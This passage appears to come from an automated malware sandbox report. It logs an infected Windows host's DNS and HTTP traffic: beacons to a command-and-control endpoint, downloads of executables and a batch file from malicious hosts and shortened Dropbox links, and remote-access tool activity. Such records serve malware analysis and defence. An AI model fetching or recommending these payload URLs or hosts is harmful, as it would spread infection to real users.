                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://xeowfetadow.org/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 170
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:46 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://yyamqqhtypgc.com/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 338
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:33:20 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Connection: Keep-Alive
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://beucufustojvl.net/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 127
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:33:21 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-us
                                    DNS
                                    xemtex534.xyz
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    xemtex534.xyz
                                    IN A
                                    Response
                                    xemtex534.xyz
                                    IN A
                                    45.131.66.222
                                  • flag-de
                                    GET
                                    http://xemtex534.xyz/777/mtxsYHJ.exe
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.222:80
                                    Request
                                    GET /777/mtxsYHJ.exe HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: xemtex534.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:45 GMT
                                    Content-Type: application/octet-stream
                                    Content-Length: 430592
                                    Connection: keep-alive
                                    Last-Modified: Wed, 11 Oct 2023 18:35:02 GMT
                                    ETag: "6526ead6-69200"
                                    Accept-Ranges: bytes
                                  • flag-de
                                    GET
                                    http://xemtex534.xyz/777/skxKIGw.exe
                                    Explorer.EXE
                                    Remote address:
                                    45.131.66.222:80
                                    Request
                                    GET /777/skxKIGw.exe HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: xemtex534.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:32:45 GMT
                                    Content-Type: application/octet-stream
                                    Content-Length: 479232
                                    Connection: keep-alive
                                    Last-Modified: Wed, 11 Oct 2023 18:35:02 GMT
                                    ETag: "6526ead6-75000"
                                    Accept-Ranges: bytes
                                  • flag-us
                                    DNS
                                    120.66.131.45.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    120.66.131.45.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    222.66.131.45.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    222.66.131.45.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    files.catbox.moe
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    files.catbox.moe
                                    IN A
                                    Response
                                    files.catbox.moe
                                    IN A
                                    108.181.20.35
                                  • flag-ca
                                    GET
                                    https://files.catbox.moe/k1glod.bat
                                    Explorer.EXE
                                    Remote address:
                                    108.181.20.35:443
                                    Request
                                    GET /k1glod.bat HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: files.catbox.moe
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx/1.21.3
                                    Date: Wed, 11 Oct 2023 19:32:47 GMT
                                    Content-Type: application/octet-stream
                                    Content-Length: 13175090
                                    Last-Modified: Sun, 08 Oct 2023 07:16:31 GMT
                                    Connection: keep-alive
                                    ETag: "6522574f-c90932"
                                    X-Content-Type-Options: nosniff
                                    Content-Security-Policy: default-src 'self' https://files.catbox.moe; style-src https://files.catbox.moe 'unsafe-inline'; img-src 'self' data:; font-src 'self'; media-src 'self'; object-src 'self';
                                    Access-Control-Allow-Origin: *
                                    Access-Control-Allow-Methods: GET, HEAD
                                    Accept-Ranges: bytes
                                  • flag-us
                                    DNS
                                    35.20.181.108.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    35.20.181.108.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    shorturl.at
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    shorturl.at
                                    IN A
                                    Response
                                    shorturl.at
                                    IN A
                                    172.67.69.88
                                    shorturl.at
                                    IN A
                                    104.26.9.129
                                    shorturl.at
                                    IN A
                                    104.26.8.129
                                  • flag-us
                                    GET
                                    https://shorturl.at/moPSY
                                    Explorer.EXE
                                    Remote address:
                                    172.67.69.88:443
                                    Request
                                    GET /moPSY HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: shorturl.at
                                    Response
                                    HTTP/1.1 301 Moved Permanently
                                    Date: Wed, 11 Oct 2023 19:33:20 GMT
                                    Content-Type: text/html; charset=iso-8859-1
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    location: https://www.shorturl.at/moPSY
                                    x-xss-protection: 1; mode=block
                                    x-content-type-options: nosniff
                                    x-nginx-upstream-cache-status: MISS
                                    x-server-powered-by: Engintron
                                    CF-Cache-Status: DYNAMIC
                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uZYFOskvr5jTiNOgTJVSyJUga2OgvPQFUJJTLGmpEusw7d7cOjti9TaqOVIRv89prHv84GwU8VqFpqFShjGXqIebXNxPE%2BNFoeC%2FZVZZb%2BiurKsGUvql9j80FDZy"}],"group":"cf-nel","max_age":604800}
                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                    Server: cloudflare
                                    CF-RAY: 814988c3cc44b95a-AMS
                                  • flag-us
                                    DNS
                                    www.shorturl.at
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    www.shorturl.at
                                    IN A
                                    Response
                                    www.shorturl.at
                                    IN A
                                    104.26.8.129
                                    www.shorturl.at
                                    IN A
                                    104.26.9.129
                                    www.shorturl.at
                                    IN A
                                    172.67.69.88
                                  • flag-us
                                    GET
                                    https://www.shorturl.at/moPSY
                                    Explorer.EXE
                                    Remote address:
                                    104.26.8.129:443
                                    Request
                                    GET /moPSY HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: www.shorturl.at
                                    Response
                                    HTTP/1.1 302 Found
                                    Date: Wed, 11 Oct 2023 19:33:21 GMT
                                    Content-Type: text/html; charset=UTF-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    location: https://www.dropbox.com/scl/fi/ooxede6dbp3m16b7h6890/Run.exe?rlkey=b45sdlyibhsdkvy53dnzajfof&dl=1
                                    x-frame-options: SAMEORIGIN
                                    x-xss-protection: 1; mode=block
                                    x-content-type-options: nosniff
                                    x-nginx-upstream-cache-status: MISS
                                    x-server-powered-by: Engintron
                                    CF-Cache-Status: DYNAMIC
                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VCNkhvtB45keoRJeYhgBrl3RciaRQc8hkS1RKP8pn7j2f6oPLLb2PBrffQN5rQBQidIFcrWnIuCHhqDkgYHUlxMhjt2G27eMz2dbUS4N6U%2FsxecQvrhYSHFyIyfSfkjnhw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                    Server: cloudflare
                                    CF-RAY: 814988c75a860b73-AMS
                                  • flag-us
                                    GET
                                    https://www.shorturl.at/nvLX2
                                    Explorer.EXE
                                    Remote address:
                                    104.26.8.129:443
                                    Request
                                    GET /nvLX2 HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: www.shorturl.at
                                    Response
                                    HTTP/1.1 302 Found
                                    Date: Wed, 11 Oct 2023 19:33:22 GMT
                                    Content-Type: text/html; charset=UTF-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    location: https://www.dropbox.com/scl/fi/gg8zfy94fcoifxga6t0hs/pew.EXE?rlkey=78zqk5k7bkps0zw8uzqxkvcfi&dl=1
                                    x-frame-options: SAMEORIGIN
                                    x-xss-protection: 1; mode=block
                                    x-content-type-options: nosniff
                                    x-nginx-upstream-cache-status: MISS
                                    x-server-powered-by: Engintron
                                    CF-Cache-Status: DYNAMIC
                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tey%2FIc0dtSVl4qg3VClPSNFHj65m4ncW7OLTIDLb7vRE201tHw7e%2BOyDjOp5elRPOQg3WbDknUihxB%2BOtHNQQ3bELw2W20A6XQunufRMzZIVlMe%2B8JK9KouoC%2FWEpjaf8w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                    Server: cloudflare
                                    CF-RAY: 814988ccbf790b73-AMS
                                  • flag-us
                                    DNS
                                    www.dropbox.com
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    www.dropbox.com
                                    IN A
                                    Response
                                    www.dropbox.com
                                    IN CNAME
                                    www-env.dropbox-dns.com
                                    www-env.dropbox-dns.com
                                    IN A
                                    162.125.8.18
                                  • flag-us
                                    GET
                                    https://www.dropbox.com/scl/fi/ooxede6dbp3m16b7h6890/Run.exe?rlkey=b45sdlyibhsdkvy53dnzajfof&dl=1
                                    Explorer.EXE
                                    Remote address:
                                    162.125.8.18:443
                                    Request
                                    GET /scl/fi/ooxede6dbp3m16b7h6890/Run.exe?rlkey=b45sdlyibhsdkvy53dnzajfof&dl=1 HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: www.dropbox.com
                                    Response
                                    HTTP/1.1 409 Conflict
                                    Content-Security-Policy: script-src 'none'
                                    Content-Security-Policy: sandbox
                                    Pragma: no-cache
                                    Referrer-Policy: strict-origin-when-cross-origin
                                    Set-Cookie: gvc=MzMwNzAxNDA1MzU5OTUzODEwNjg1MjY5Mjc0MzY0MjY1MDAwMjA0; Path=/; Expires=Mon, 09 Oct 2028 19:33:21 GMT; HttpOnly; Secure; SameSite=None
                                    X-Content-Type-Options: nosniff
                                    X-Permitted-Cross-Domain-Policies: none
                                    X-Robots-Tag: noindex, nofollow, noimageindex
                                    X-Xss-Protection: 1; mode=block
                                    Content-Type: text/html; charset=utf-8
                                    Content-Length: 1121
                                    Date: Wed, 11 Oct 2023 19:33:21 GMT
                                    Strict-Transport-Security: max-age=31536000; includeSubDomains
                                    Server: envoy
                                    Cache-Control: no-cache, no-store
                                    Vary: Accept-Encoding
                                    X-Dropbox-Response-Origin: far_remote
                                    X-Dropbox-Request-Id: c669e32689aa41e8a6519da20681cc63
                                  • flag-us
                                    GET
                                    https://www.dropbox.com/scl/fi/gg8zfy94fcoifxga6t0hs/pew.EXE?rlkey=78zqk5k7bkps0zw8uzqxkvcfi&dl=1
                                    Explorer.EXE
                                    Remote address:
                                    162.125.8.18:443
                                    Request
                                    GET /scl/fi/gg8zfy94fcoifxga6t0hs/pew.EXE?rlkey=78zqk5k7bkps0zw8uzqxkvcfi&dl=1 HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: www.dropbox.com
                                    Response
                                    HTTP/1.1 409 Conflict
                                    Content-Security-Policy: script-src 'none'
                                    Content-Security-Policy: sandbox
                                    Pragma: no-cache
                                    Referrer-Policy: strict-origin-when-cross-origin
                                    Set-Cookie: gvc=Mjg5NzYwMDM0ODUyMTg5MzU1NjcxODM3NTg5MjM3MDE1MDAwNjYy; Path=/; Expires=Mon, 09 Oct 2028 19:33:22 GMT; HttpOnly; Secure; SameSite=None
                                    X-Content-Type-Options: nosniff
                                    X-Permitted-Cross-Domain-Policies: none
                                    X-Robots-Tag: noindex, nofollow, noimageindex
                                    X-Xss-Protection: 1; mode=block
                                    Content-Type: text/html; charset=utf-8
                                    Content-Length: 1121
                                    Date: Wed, 11 Oct 2023 19:33:22 GMT
                                    Strict-Transport-Security: max-age=31536000; includeSubDomains
                                    Server: envoy
                                    Cache-Control: no-cache, no-store
                                    Vary: Accept-Encoding
                                    X-Dropbox-Response-Origin: far_remote
                                    X-Dropbox-Request-Id: 8c943f2fc3e44a7a814179301fac9763
                                  • flag-us
                                    DNS
                                    88.69.67.172.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    88.69.67.172.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    129.8.26.104.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    129.8.26.104.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    18.8.125.162.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    18.8.125.162.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    GET
                                    https://shorturl.at/nvLX2
                                    Explorer.EXE
                                    Remote address:
                                    172.67.69.88:443
                                    Request
                                    GET /nvLX2 HTTP/1.1
                                    Connection: Keep-Alive
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Host: shorturl.at
                                    Response
                                    HTTP/1.1 301 Moved Permanently
                                    Date: Wed, 11 Oct 2023 19:33:22 GMT
                                    Content-Type: text/html; charset=iso-8859-1
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    location: https://www.shorturl.at/nvLX2
                                    x-xss-protection: 1; mode=block
                                    x-content-type-options: nosniff
                                    x-nginx-upstream-cache-status: MISS
                                    x-server-powered-by: Engintron
                                    CF-Cache-Status: DYNAMIC
                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ktydhpuH9Q76CyLv%2FL06Ds7dwitjt7zJSY7Ey3aC6iUXJ1hk6FWqqW9jnSziHpTB5Pb7K8fFqHyEhWqUBbTJ%2FOusi87fCqFpaslkmCXa7GolSEy%2FtXOjoYJp7len"}],"group":"cf-nel","max_age":604800}
                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                    Server: cloudflare
                                    CF-RAY: 814988cbecef0e89-AMS
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    explorer.exe
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Cache-Control: no-cache
                                    Connection: Keep-Alive
                                    Pragma: no-cache
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://servermlogs27.xyz/statweb255/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 533
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:33:23 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    explorer.exe
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Cache-Control: no-cache
                                    Connection: Keep-Alive
                                    Pragma: no-cache
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://servermlogs27.xyz/statweb255/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 79
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 200 OK
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:33:36 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-us
                                    DNS
                                    rl.ammyy.com
                                    svchost.exe
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    rl.ammyy.com
                                    IN A
                                    Response
                                    rl.ammyy.com
                                    IN A
                                    188.42.129.148
                                  • flag-nl
                                    POST
                                    http://rl.ammyy.com/
                                    svchost.exe
                                    Remote address:
                                    188.42.129.148:80
                                    Request
                                    POST / HTTP/1.1
                                    Content-Type: application/x-www-form-urlencoded
                                    Host: rl.ammyy.com
                                    Content-Length: 247
                                    Cache-Control: no-cache
                                    Response
                                    HTTP/1.1 200 OK
                                    Date: Wed, 11 Oct 2023 19:33:40 GMT
                                    Server: Apache
                                    X-Powered-By: PHP/5.4.16
                                    Content-Length: 248
                                    Content-Type: text/html
                                  • flag-de
                                    POST
                                    http://servermlogs27.xyz/statweb255/
                                    svchost.exe
                                    Remote address:
                                    45.131.66.120:80
                                    Request
                                    POST /statweb255/ HTTP/1.1
                                    Cache-Control: no-cache
                                    Connection: Keep-Alive
                                    Pragma: no-cache
                                    Content-Type: application/x-www-form-urlencoded
                                    Accept: */*
                                    Referer: http://servermlogs27.xyz/statweb255/
                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                    Content-Length: 105
                                    Host: servermlogs27.xyz
                                    Response
                                    HTTP/1.1 404 Not Found
                                    Server: nginx
                                    Date: Wed, 11 Oct 2023 19:33:41 GMT
                                    Content-Type: text/html; charset=utf-8
                                    Transfer-Encoding: chunked
                                    Connection: keep-alive
                                    Vary: Accept-Encoding
                                  • flag-us
                                    DNS
                                    226.162.46.104.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    226.162.46.104.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    148.129.42.188.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    148.129.42.188.in-addr.arpa
                                    IN PTR
                                    Response
                                  • flag-us
                                    DNS
                                    242.104.243.136.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    242.104.243.136.in-addr.arpa
                                    IN PTR
                                    Response
                                    242.104.243.136.in-addr.arpa
                                    IN PTR
                                    static242104243136clients your-serverde
                                  • flag-us
                                    DNS
                                    www.ammyy.com
                                    svchost.exe
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    www.ammyy.com
                                    IN A
                                    Response
                                    www.ammyy.com
                                    IN A
                                    136.243.18.118
                                  • flag-de
                                    GET
                                    http://www.ammyy.com/files/v8/aans64y2.gz
                                    svchost.exe
                                    Remote address:
                                    136.243.18.118:80
                                    Request
                                    GET /files/v8/aans64y2.gz HTTP/1.1
                                    Content-Type: application/x-www-form-urlencoded
                                    Range: bytes=0-
                                    Accept-Encoding: gzip, deflate
                                    Host: www.ammyy.com
                                    Cache-Control: no-cache
                                    Response
                                    HTTP/1.1 301 Moved Permanently
                                    Date: Wed, 11 Oct 2023 19:33:42 GMT
                                    Server: Apache/2.4.6 (CentOS)
                                    Location: https://www.ammyy.com/files/v8/aans64y2.gz
                                    Content-Length: 328
                                    Connection: close
                                    Content-Type: text/html; charset=iso-8859-1
                                  • flag-de
                                    GET
                                    https://www.ammyy.com/files/v8/aans64y2.gz
                                    svchost.exe
                                    Remote address:
                                    136.243.18.118:443
                                    Request
                                    GET /files/v8/aans64y2.gz HTTP/1.1
                                    Range: bytes=0-
                                    Accept-Encoding: gzip, deflate
                                    Cache-Control: no-cache
                                    Host: www.ammyy.com
                                    Connection: Keep-Alive
                                    Response
                                    HTTP/1.1 206 Partial Content
                                    Date: Wed, 11 Oct 2023 19:33:43 GMT
                                    Server: Apache/2.4.6 (CentOS)
                                    Last-Modified: Sun, 05 Dec 2021 20:54:18 GMT
                                    ETag: "509a4-5d26c580371d1"
                                    Accept-Ranges: bytes
                                    Content-Length: 330148
                                    Content-Range: bytes 0-330147/330148
                                    Connection: close
                                    Content-Type: application/x-gzip
                                  • flag-us
                                    DNS
                                    118.18.243.136.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    118.18.243.136.in-addr.arpa
                                    IN PTR
                                    Response
                                    118.18.243.136.in-addr.arpa
                                    IN PTR
                                    static11818243136clients your-serverde
                                  • flag-us
                                    DNS
                                    147.174.42.23.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    147.174.42.23.in-addr.arpa
                                    IN PTR
                                    Response
                                    147.174.42.23.in-addr.arpa
                                    IN PTR
                                    a23-42-174-147deploystaticakamaitechnologiescom
                                  • flag-us
                                    DNS
                                    9.175.53.84.in-addr.arpa
                                    Remote address:
                                    8.8.8.8:53
                                    Request
                                    9.175.53.84.in-addr.arpa
                                    IN PTR
                                    Response
                                    9.175.53.84.in-addr.arpa
                                    IN PTR
                                    a84-53-175-9deploystaticakamaitechnologiescom
                                  • 45.131.66.61:80
                                    http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd
                                    http
                                    b5b467e9309cbddb4a9ed34a82a36163.exe
                                    41.4kB
                                     1.8MB
                                     760
                                    1311

                                    HTTP Request

                                    GET http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd

                                    HTTP Response

                                    200
                                  • 45.131.66.61:80
                                    http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd
                                    http
                                    certreq.exe
                                    4.9kB
                                     1.9kB
                                     16
                                    17

                                    HTTP Request

                                    GET http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd

                                    HTTP Response

                                    101
                                  • 45.131.66.61:80
                                    http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd
                                    http
                                    certreq.exe
                                    16.3kB
                                     808.3kB
                                     337
                                    649

                                    HTTP Request

                                    GET http://amxt25.xyz/a6ba5b1ae6dec5f7c/8tkf22v9.ed2jd

                                    HTTP Response

                                    101
                                  • 45.131.66.120:80
                                    http://servermlogs27.xyz/statweb255/
                                    http
                                    Explorer.EXE
                                    16.7kB
                                     471.2kB
                                     204
                                    363

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    200

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    200

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    200

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    200

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    200

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404
                                  • 45.131.66.222:80
                                    http://xemtex534.xyz/777/skxKIGw.exe
                                    http
                                    Explorer.EXE
                                    18.7kB
                                     937.4kB
                                     370
                                    677

                                    HTTP Request

                                    GET http://xemtex534.xyz/777/mtxsYHJ.exe

                                    HTTP Response

                                    200

                                    HTTP Request

                                    GET http://xemtex534.xyz/777/skxKIGw.exe

                                    HTTP Response

                                    200
                                  • 108.181.20.35:443
                                    https://files.catbox.moe/k1glod.bat
                                    tls, http
                                    Explorer.EXE
                                    250.2kB
                                     13.6MB
                                     5226
                                    9798

                                    HTTP Request

                                    GET https://files.catbox.moe/k1glod.bat

                                    HTTP Response

                                    200
                                  • 172.67.69.88:443
                                    https://shorturl.at/moPSY
                                    tls, http
                                    Explorer.EXE
                                    856 B
                                     6.9kB
                                     9
                                    11

                                    HTTP Request

                                    GET https://shorturl.at/moPSY

                                    HTTP Response

                                    301
                                  • 104.26.8.129:443
                                    https://www.shorturl.at/nvLX2
                                    tls, http
                                    Explorer.EXE
                                    1.1kB
                                     7.5kB
                                     11
                                    11

                                    HTTP Request

                                    GET https://www.shorturl.at/moPSY

                                    HTTP Response

                                    302

                                    HTTP Request

                                    GET https://www.shorturl.at/nvLX2

                                    HTTP Response

                                    302
                                  • 162.125.8.18:443
                                    https://www.dropbox.com/scl/fi/gg8zfy94fcoifxga6t0hs/pew.EXE?rlkey=78zqk5k7bkps0zw8uzqxkvcfi&dl=1
                                    tls, http
                                    Explorer.EXE
                                    1.2kB
                                     8.0kB
                                     9
                                    13

                                    HTTP Request

                                    GET https://www.dropbox.com/scl/fi/ooxede6dbp3m16b7h6890/Run.exe?rlkey=b45sdlyibhsdkvy53dnzajfof&dl=1

                                    HTTP Response

                                    409

                                    HTTP Request

                                    GET https://www.dropbox.com/scl/fi/gg8zfy94fcoifxga6t0hs/pew.EXE?rlkey=78zqk5k7bkps0zw8uzqxkvcfi&dl=1

                                    HTTP Response

                                    409
                                  • 172.67.69.88:443
                                    https://shorturl.at/nvLX2
                                    tls, http
                                    Explorer.EXE
                                    902 B
                                     6.8kB
                                     10
                                    11

                                    HTTP Request

                                    GET https://shorturl.at/nvLX2

                                    HTTP Response

                                    301
                                  • 45.131.66.120:80
                                    http://servermlogs27.xyz/statweb255/
                                    http
                                    explorer.exe
                                    1.1kB
                                     715 B
                                     6
                                    4

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404
                                  • 45.131.66.120:80
                                    http://servermlogs27.xyz/statweb255/
                                    http
                                    explorer.exe
                                    8.0kB
                                     444.9kB
                                     165
                                    322

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    200
                                  • 188.42.129.148:80
                                    http://rl.ammyy.com/
                                    http
                                    svchost.exe
                                    611 B
                                     564 B
                                     5
                                    4

                                    HTTP Request

                                    POST http://rl.ammyy.com/

                                    HTTP Response

                                    200
                                  • 136.243.104.242:443
                                    https
                                    svchost.exe
                                    220 B
                                     134 B
                                     4
                                    3
                                  • 45.131.66.120:80
                                    http://servermlogs27.xyz/statweb255/
                                    http
                                    svchost.exe
                                    669 B
                                     715 B
                                     5
                                    4

                                    HTTP Request

                                    POST http://servermlogs27.xyz/statweb255/

                                    HTTP Response

                                    404
                                  • 136.243.18.118:80
                                    http://www.ammyy.com/files/v8/aans64y2.gz
                                    http
                                    svchost.exe
                                    458 B
                                     781 B
                                     6
                                    5

                                    HTTP Request

                                    GET http://www.ammyy.com/files/v8/aans64y2.gz

                                    HTTP Response

                                    301
                                  • 136.243.18.118:443
                                    https://www.ammyy.com/files/v8/aans64y2.gz
                                    tls, http
                                    svchost.exe
                                    12.3kB
                                     345.9kB
                                     256
                                    253

                                    HTTP Request

                                    GET https://www.ammyy.com/files/v8/aans64y2.gz

                                    HTTP Response

                                    206
                                  • 8.8.8.8:53
                                    8.8.8.8.in-addr.arpa
                                    dns
                                    66 B
                                     90 B
                                     1
                                    1

                                    DNS Request

                                    8.8.8.8.in-addr.arpa

                                  • 8.8.8.8:53
                                    2.136.104.51.in-addr.arpa
                                    dns
                                    71 B
                                     157 B
                                     1
                                    1

                                    DNS Request

                                    2.136.104.51.in-addr.arpa

                                  • 8.8.8.8:53
                                    126.23.238.8.in-addr.arpa
                                    dns
                                    71 B
                                     125 B
                                     1
                                    1

                                    DNS Request

                                    126.23.238.8.in-addr.arpa

                                  • 8.8.8.8:53
                                    136.32.126.40.in-addr.arpa
                                    dns
                                    72 B
                                     158 B
                                     1
                                    1

